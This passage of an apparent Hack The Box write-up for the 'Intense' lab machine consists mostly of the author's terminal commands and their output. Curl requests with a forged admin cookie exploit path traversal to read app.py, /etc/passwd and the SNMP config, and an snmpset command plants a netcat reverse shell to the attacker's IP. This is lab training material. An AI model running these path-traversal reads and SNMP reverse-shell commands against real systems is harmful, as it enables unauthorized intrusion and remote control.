['__pycache__', 'app.ini', 'logs', 'lwt.py', 'static', 'wsgi.py', 'app.py', 'database.db', 'templates', 'admin.py', 'utils.py', 'app.sock']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=..
['src.zip', 'app', 'index.nginx-debian.html']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=../..
['html']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=../../
['html']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/dir -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logdir=../../../
['cache', 'tmp', 'agentx', 'log', 'crash', 'lib', 'spool', 'run', 'snap', 'www', 'opt', 'backups', 'mail', 'lock', 'local']
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logfile=../app.py
from flask import Flask, request, render_template, g, redirect, url_for,\
make_response
from utils import get_db, get_session, get_user, try_login, query_db, badword_in_str
from admin import admin
import sqlite3
import lwt
[...]
if __name__ == "__main__":
app.run()
Well, considering what we can do now, the first thing is to try to retrieve the desired flag:
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logfile=../../../../../home/user/user.txt
e******************************d
That's done! I know that you want to try with the root flag too...
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logfile=../../../../../root/root.txt
Can't find ../../../../../root/root.txt
But you are too optimistic. Anyway we can search for other interesting files.
─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logfile=../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
user:x:1000:1000:user:/home/user:/bin/bash
web:x:1001:1001:::/bin/false
Debian-snmp:x:111:113::/var/lib/snmp:/bin/false
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.Z041DxhJ/lCfGQijzvhZpGLlMoxh2c8YX4qP3+aWXsg=" --form-string logfile=../../../../../etc/shadow
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
The SNMP attack
And if the user flag was simple, the units of measurement for the root flag change from hours to days.
I spent days following what I had already discovered, but finding nothing, I decided to investigate aspects that I had not yet approached.
For example I performed a scan on the UDP ports, which I had left out in the first instance.
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $sudo nmap -sU 10.10.10.195
[sudo] password for in7rud3r:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-09 00:38 CEST
Warning: 10.10.10.195 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.195
Host is up (0.040s latency).
Not shown: 989 closed ports
PORT STATE SERVICE
161/udp open snmp
1025/udp open|filtered blackjack
1067/udp open|filtered instl_boots
8001/udp open|filtered vcom-tunnel
9000/udp open|filtered cslistener
16498/udp open|filtered unknown
19322/udp open|filtered unknown
21556/udp open|filtered unknown
30697/udp open|filtered unknown
34433/udp open|filtered unknown
55544/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 1314.65 seconds
Found most interesting services... Let me say, too many... restard the BOX and check again...
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $sudo nmap -sUV -T4 -p 161 10.10.10.195
[sudo] password for in7rud3r:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-10 09:15 CEST
Nmap scan report for 10.10.10.195
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
Service Info: Host: intense
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.74 seconds
As I supposed. Well, concentrate now on the SNMP service. First action is to check if there's communities available on the services, using a dictionary attack on the common communities.
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $onesixtyone 10.10.10.195 -c /usr/share/doc/onesixtyone/dict.txt
Scanning 1 hosts, 51 communities
10.10.10.195 [public] Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
There's the classic public community, info available on it are not so much.
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $snmp-check 10.10.10.195
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 10.10.10.195:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 10.10.10.195
Hostname : intense
Description : Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
Contact : Me <[email protected]>
Location : Sitting on the Dock of the Bay
Uptime snmp : 03:19:39.65
Uptime system : 03:19:21.92
System date : 2020-9-10 07:30:16.0
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/downloaded/app]
└──╼ $braa [email protected]:.1.3.6.*
10.10.10.195:41ms:.0:Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
10.10.10.195:42ms:.0:.10
10.10.10.195:43ms:.0:1293754
10.10.10.195:64ms:.0:Me <[email protected]>
10.10.10.195:42ms:.0:intense
10.10.10.195:41ms:.0:Sitting on the Dock of the Bay
10.10.10.195:41ms:.0:72
10.10.10.195:62ms:.0:12
10.10.10.195:42ms:.1:.1
10.10.10.195:41ms:.2:.1
10.10.10.195:49ms:.3:.1
10.10.10.195:41ms:.4:.1
10.10.10.195:42ms:.5:.1
10.10.10.195:42ms:.6:.49
10.10.10.195:42ms:.7:.4
10.10.10.195:64ms:.8:.50
10.10.10.195:42ms:.9:.3
10.10.10.195:50ms:.10:.92
10.10.10.195:46ms:.1:The MIB for Message Processing and Dispatching.
10.10.10.195:42ms:.2:The management information definitions for the SNMP User-based Security Model.
10.10.10.195:69ms:.3:The SNMP Management Architecture MIB.
10.10.10.195:42ms:.4:The MIB module for SNMPv2 entities
10.10.10.195:43ms:.5:View-based Access Control Model for SNMP.
10.10.10.195:64ms:.6:The MIB module for managing TCP implementations
10.10.10.195:42ms:.7:The MIB module for managing IP and ICMP implementations
10.10.10.195:42ms:.8:The MIB module for managing UDP implementations
10.10.10.195:43ms:.9:The MIB modules for managing SNMP Notification, plus filtering.
10.10.10.195:41ms:.10:The MIB module for logging SNMP Notifications.
10.10.10.195:42ms:.1:12
10.10.10.195:41ms:.2:12
10.10.10.195:41ms:.3:12
10.10.10.195:41ms:.4:12
10.10.10.195:41ms:.5:12
10.10.10.195:41ms:.6:12
10.10.10.195:42ms:.7:12
10.10.10.195:41ms:.8:12
10.10.10.195:67ms:.9:12
10.10.10.195:71ms:.10:12
10.10.10.195:79ms:.0:1295701
10.10.10.195:42ms:.0:�
."
10.10.10.195:41ms:.0:393216
10.10.10.195:42ms:.0:BOOT_IMAGE=/boot/vmlinuz-4.15.0-55-generic root=UUID=03e76848-bab1-4f80-aeb0-ffff441d2ae9 ro debian-installer/custom-installatio
10.10.10.195:43ms:.0:0
10.10.10.195:64ms:.0:163
10.10.10.195:41ms:.0:0
10.10.10.195:42ms:.0:Error [2] No such name.
Considering that I'm not so strong on that argument, I learn about it on internet, share here some interesting link:
I move in order to try this exploits, but nothing additional went out.
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $./snmpbw.pl 10.10.10.195 public 2 1
SNMP query: 10.10.10.195
Queue count: 0
SNMP SUCCESS: 10.10.10.195
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $ls -la
total 32
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Sep 10 10:33 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Sep 10 10:06 ..
-rw-r--r-- 1 in7rud3r in7rud3r 2815 Sep 10 10:33 10.10.10.195.snmp
drwxr-xr-x 8 in7rud3r in7rud3r 4096 Sep 10 10:06 .git
-rw-r--r-- 1 in7rud3r in7rud3r 2024 Sep 10 10:06 README
-rw-r--r-- 1 in7rud3r in7rud3r 93 Sep 10 10:06 reg_list
-rwxr-xr-x 1 in7rud3r in7rud3r 3194 Sep 10 10:06 snmpbw.pl
-rwxr-xr-x 1 in7rud3r in7rud3r 1606 Sep 10 10:06 snmpprs.pl
┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $cat 10.10.10.195.snmp
.1.3.6.1.2.1.1.1.0 = STRING: Linux intense 4.15.0-55-generic #60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64
.1.3.6.1.2.1.1.2.0 = OID: .1.3.6.1.4.1.8072.3.2.10
.1.3.6.1.2.1.1.3.0 = Timeticks: (1615567) 4:29:15.67
.1.3.6.1.2.1.1.4.0 = STRING: Me <[email protected]>
.1.3.6.1.2.1.1.5.0 = STRING: intense
.1.3.6.1.2.1.1.6.0 = STRING: Sitting on the Dock of the Bay
.1.3.6.1.2.1.1.7.0 = INTEGER: 72
.1.3.6.1.2.1.1.8.0 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.2.1 = OID: .1.3.6.1.6.3.11.3.1.1
.1.3.6.1.2.1.1.9.1.2.2 = OID: .1.3.6.1.6.3.15.2.1.1
.1.3.6.1.2.1.1.9.1.2.3 = OID: .1.3.6.1.6.3.10.3.1.1
.1.3.6.1.2.1.1.9.1.2.4 = OID: .1.3.6.1.6.3.1
.1.3.6.1.2.1.1.9.1.2.5 = OID: .1.3.6.1.6.3.16.2.2.1
.1.3.6.1.2.1.1.9.1.2.6 = OID: .1.3.6.1.2.1.49
.1.3.6.1.2.1.1.9.1.2.7 = OID: .1.3.6.1.2.1.4
.1.3.6.1.2.1.1.9.1.2.8 = OID: .1.3.6.1.2.1.50
.1.3.6.1.2.1.1.9.1.2.9 = OID: .1.3.6.1.6.3.13.3.1.3
.1.3.6.1.2.1.1.9.1.2.10 = OID: .1.3.6.1.2.1.92
.1.3.6.1.2.1.1.9.1.3.1 = STRING: The MIB for Message Processing and Dispatching.
.1.3.6.1.2.1.1.9.1.3.2 = STRING: The management information definitions for the SNMP User-based Security Model.
.1.3.6.1.2.1.1.9.1.3.3 = STRING: The SNMP Management Architecture MIB.
.1.3.6.1.2.1.1.9.1.3.4 = STRING: The MIB module for SNMPv2 entities
.1.3.6.1.2.1.1.9.1.3.5 = STRING: View-based Access Control Model for SNMP.
.1.3.6.1.2.1.1.9.1.3.6 = STRING: The MIB module for managing TCP implementations
.1.3.6.1.2.1.1.9.1.3.7 = STRING: The MIB module for managing IP and ICMP implementations
.1.3.6.1.2.1.1.9.1.3.8 = STRING: The MIB module for managing UDP implementations
.1.3.6.1.2.1.1.9.1.3.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
.1.3.6.1.2.1.1.9.1.3.10 = STRING: The MIB module for logging SNMP Notifications.
.1.3.6.1.2.1.1.9.1.4.1 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.2 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.3 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.4 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.5 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.6 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.7 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.8 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.9 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.1.9.1.4.10 = Timeticks: (12) 0:00:00.12
.1.3.6.1.2.1.25.1.1.0 = Timeticks: (1617349) 4:29:33.49
.1.3.6.1.2.1.25.1.2.0 = STRING: 2020-9-10,8:40:10.0,+0:0
.1.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
.1.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-4.15.0-55-generic root=UUID=03e76848-bab1-4f80-aeb0-ffff441d2ae9 ro debian-installer/custom-installatio"
.1.3.6.1.2.1.25.1.5.0 = Gauge32: 0
.1.3.6.1.2.1.25.1.6.0 = Gauge32: 166
.1.3.6.1.2.1.25.1.7.0 = INTEGER: 0
.1.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
When at some point it occurs to me that I have partial disk access and if I'm lucky enough I maybe have access to the SNMP service configuration file.
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/force]
└──╼ $curl -X POST http://10.10.10.195/admin/log/view -b "auth=dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMoO3VzZXJuYW1lPWFkbWluO3NlY3JldD1mMWZjMTIwMTBjMDk0MDE2ZGVmNzkxZTE0MzVkZGZkY2FlY2NmODI1MGUzNjYzMGMwYmM5MzI4NWMyOTcxMTA1Ow==.NEu27iGw2amIciYAMHE/TCr1ehZ9UUES9o3rwoeE92E=" --form-string logfile=../../../../../etc/snmp/snmpd.conf
agentAddress udp:161
view systemonly included .1.3.6.1.2.1.1
view systemonly included .1.3.6.1.2.1.25.1
rocommunity public default -V systemonly
rwcommunity SuP3RPrivCom90
###############################################################################
#
# SYSTEM INFORMATION
#
# Note that setting these values here, results in the corresponding MIB objects being 'read-only'
# See snmpd.conf(5) for more details
sysLocation Sitting on the Dock of the Bay
sysContact Me <[email protected]>
[...]
Well, I have a new community called "SuP3RPrivCom90" now to query through the SNMP service. I launch again the command used before specifing the new community, try to search on it, interesting information, but nothing go out.
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $./snmpbw.pl 10.10.10.195 SuP3RPrivCom90 2 1
SNMP query: 10.10.10.195
Queue count: 0
SNMP SUCCESS: 10.10.10.195
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $ls -la
total 248
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Sep 11 15:51 .
drwxr-xr-x 4 in7rud3r in7rud3r 4096 Sep 11 12:07 ..
-rw-r--r-- 1 in7rud3r in7rud3r 2815 Sep 10 10:33 10.10.10.195.public.snmp
-rw-r--r-- 1 in7rud3r in7rud3r 219579 Sep 11 15:52 10.10.10.195.snmp
drwxr-xr-x 8 in7rud3r in7rud3r 4096 Sep 11 08:32 .git
-rw-r--r-- 1 in7rud3r in7rud3r 2024 Sep 10 10:06 README
-rw-r--r-- 1 in7rud3r in7rud3r 93 Sep 10 10:06 reg_list
-rw-r--r-- 1 in7rud3r in7rud3r 0 Sep 10 10:48 results.txt
-rwxr--r-- 1 in7rud3r in7rud3r 3194 Sep 10 10:06 snmpbw.pl
-rwxr--r-- 1 in7rud3r in7rud3r 1606 Sep 10 10:06 snmpprs.pl
┌─[✗]─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/snmp/snmp] (master)
└──╼ $grep -i user *.snmp
10.10.10.195.public.snmp:.1.3.6.1.2.1.1.4.0 = STRING: Me <[email protected]>
10.10.10.195.public.snmp:.1.3.6.1.2.1.1.9.1.3.2 = STRING: The management information definitions for the SNMP User-based Security Model.
10.10.10.195.snmp:.1.3.6.1.2.1.1.4.0 = STRING: "Me <[email protected]>"
10.10.10.195.snmp:.1.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
10.10.10.195.snmp:.1.3.6.1.2.1.25.4.2.1.4.981 = STRING: "/home/user/note_server"
10.10.10.195.snmp:.1.3.6.1.2.1.25.6.3.1.2.4 = STRING: "adduser-3.116ubuntu1"
10.10.10.195.snmp:.1.3.6.1.2.1.25.6.3.1.2.587 = STRING: "xdg-user-dirs-0.17-1ubuntu1"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.10.1.3.6.1.6.3.15.1.2.1.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.3.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.4.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.5.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.6.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.7.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.8.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.9.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.10.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.11.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.12.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.4.1.8072.1.2.1.1.4.0.12.1.3.6.1.6.3.15.1.2.2.1.13.127 = STRING: "snmpv3/usmUser"
10.10.10.195.snmp:.1.3.6.1.6.3.16.1.2.1.3.3.12.105.110.116.101.114.110.97.108.85.115.101.114 = STRING: "grpinternalUser"
10.10.10.195.SuP3RPrivCom90.snmp:.1.3.6.1.2.1.1.4.0 = STRING: "Me <[email protected]>"
10.10.10.195.SuP3RPrivCom90.snmp:.1.3.6.1.2.1.1.9.1.3.2 = STRING: "The management information definitions for the SNMP User-based Security Model."
10.10.10.195.SuP3RPrivCom90.snmp:.1.3.6.1.2.1.25.4.2.1.4.981 = STRING: "/home/user/note_server"
10.10.10.195.SuP3RPrivCom90.snmp:.1.3.6.1.2.1.25.6.3.1.2.4 = STRING: "adduser-3.116ubuntu1"
10.10.10.195.SuP3RPrivCom90.snmp:.1.3.6.1.2.1.25.6.3.1.2.587 = STRING: "xdg-user-dirs-0.17-1ubuntu1"
Looking on the command available on the SNMP tools that I can use on the remote service I notice some cool command that I don't know, so I have to investigate, like for example the snmpset (probably I can modify the values on the remote server).
I search for "snmpset exploit".
Ok, seems that I can introduce additional lines that the SNMP service will execute during interrogation of the service. The idea is to execute a reverse shell; Let me try.
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/openssh]
└──╼ $snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.10.10.195 'nsExtendStatus."command"' = createAndGo 'nsExtendCommand."command"' = /bin/nc 'nsExtendArgs."command"' = ' 10.10.14.254 4444 -e /bin/bash'
NET-SNMP-EXTEND-MIB::nsExtendStatus."command" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."command" = STRING: /bin/nc
NET-SNMP-EXTEND-MIB::nsExtendArgs."command" = STRING: 10.10.14.254 4444 -e /bin/bash
┌─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.195 - Intense (lin)/attack/openssh]
└──╼ $snmpwalk -v 2c -c SuP3RPrivCom90 10.10.10.195 nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendCommand."test1" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendCommand."test2" = STRING: echo
NET-SNMP-EXTEND-MIB::nsExtendCommand."command" = STRING: /bin/nc
NET-SNMP-EXTEND-MIB::nsExtendCommand."omgomgomgomg" = STRING: /bin/bash
NET-SNMP-EXTEND-MIB::nsExtendArgs."test1" = STRING: Hello, world!
NET-SNMP-EXTEND-MIB::nsExtendArgs."test2" = STRING: Hello, world! ; echo Hi there ; exit 35
